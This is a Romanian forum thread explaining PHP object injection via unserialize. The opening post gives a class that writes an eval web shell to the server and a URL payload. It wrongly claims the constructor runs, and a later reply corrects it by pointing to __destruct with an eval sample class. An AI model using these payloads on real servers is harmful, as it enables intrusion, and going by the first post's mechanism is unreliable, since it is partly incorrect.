Despre php object injection

[dancezar]

PHP Object injection

Php object injection este o vulnerabilitate de tip RCE care este cauzata de folosirea necorespunzatoare a functiei serialize si unserialize din php.Aceasta functie serielize este folosita deobicei pentru

pastrarea unui array intr-un string, spre exemplu daca aveti un array cu ultimele pagini accesate de utilizator si vreti sa le pastrati intr-un cookie ca apoi sa puteti sa folositi cookie-ul pe post de array puteti folosi aceste doua functii.

Problema este ca se pote face serielize si pe classe iar atacatorul poate face o clasa prin care poate apela functia _contruct si sa execute cod php.

Un exemplu de cod vulnerabil este acesta:

<?php
     $d=unserialize(urldecode($_GET['a']));
?>

Cum vom putea exploata aceasta linie de cod in avantajul nostru ? Simplu vom incerca sa facem serielize la o clasa astfel cand vom introduce stringu serializat in ?a= in $d se v-a crea noua noatra clasa si se v-a executa codul nostru malitios.

Rulam urmatorul cod:

<?php
class inj{
    function inj($fil){
	      file_put_contents($fil,'<?php eval($_GET["a"]); ?>');
	}
}
echo urlencode(serialize(new inj('SHELL.php')));
?>

In urma rularii codului de mai sus veti obtine payloadul:

O%3A3%3A%22inj%22%3A0%3A%7B%7D

Iar daca intrduceti acel payload in codul vulnerabil : site.com/phpobj.php?a=O%3A3%3A%22inj%22%3A0%3A%7B%7D se v-a crea fisierul c.php pe serverul victimei.

Parametri vulnerabili sub care poate aparea vulnerabilitatea pot fi : $_COOKIE $_POST $_SERVER $_GET $_REQUEST

Petru a evita aceasta vulnerabitate evitati folosirea acestor functii sau sa le inlocuiti cu json_encode in loc de serialize si json_decode in loc de unserialize

O astfel de vulnerabilitate a fost reparata in vbulletin 4.2.2 Security Exploit Patched on vBulletin – PHP Object Injection | Sucuri Blog

Edited June 2, 2014 by danyweb09

[Nytro]

Real life: WordPress < 3.6.1 PHP Object Injection - VaGoSec

[dancezar]

Problema la unserialize intr-adevar exista dar ce ai spus tu acolo despre cum se poate exploata sau cum arata un cod vulnerabil nu are absolut nici un sens, nu poti sa "injectezi" o clasa noua care sa execute codul pe care il vrei tu. In testele tale fisierul respectiv s-a creat pentru ca ai rulat codul ala care creaza fisierul .php la tine pe calculator (in acelasi loc) si nici nu ti-ai dat seama

In primul rand, unserialize() NU apeleaza constructorul unei clase, ci pur si simplu creaza o instanta a clasei fara a apela constructorul. Ulterior, la finalul scriptului, e apelat in schimb destructorul, acesta fiind singurul loc unde ai putea exploata vulnerabilitatea, dar asta depinde strict de ce se intampla in destructorul clasei pe care o exploatezi (daca are destructor)

Un cod vunerabil (care sa contina si RCE) arata asa:

class test
{
    var $variabila = 10;
    var $code = "";
    function __construct()
    {
        echo "constructor\n";
    }

    function __destruct()
    {
        echo "destructor, value = " . $this->variabila . "\n";
        eval($this->code);
    }
}

Clasa asta serializata arata asa

Daca ai avea acces la un unserialize() (prin post, get, etc), ai baga asa ceva catre unserialize

Facand asta vei crea o instanta a clasei test a carei membri vor avea urmatoarele valori

$variabila => 66 (valoarea default fiind 10)
$code => "echo 99;" (valoarea default fiind blank "")

iar output-ul va fi ceva de genul

Da cea ce am aratat este numai codul si ar functiona decat local cea ce se face in urma executiei va fi o clasa incompleta , multumesc pentru completare ideia era sa se inteleaga procesul.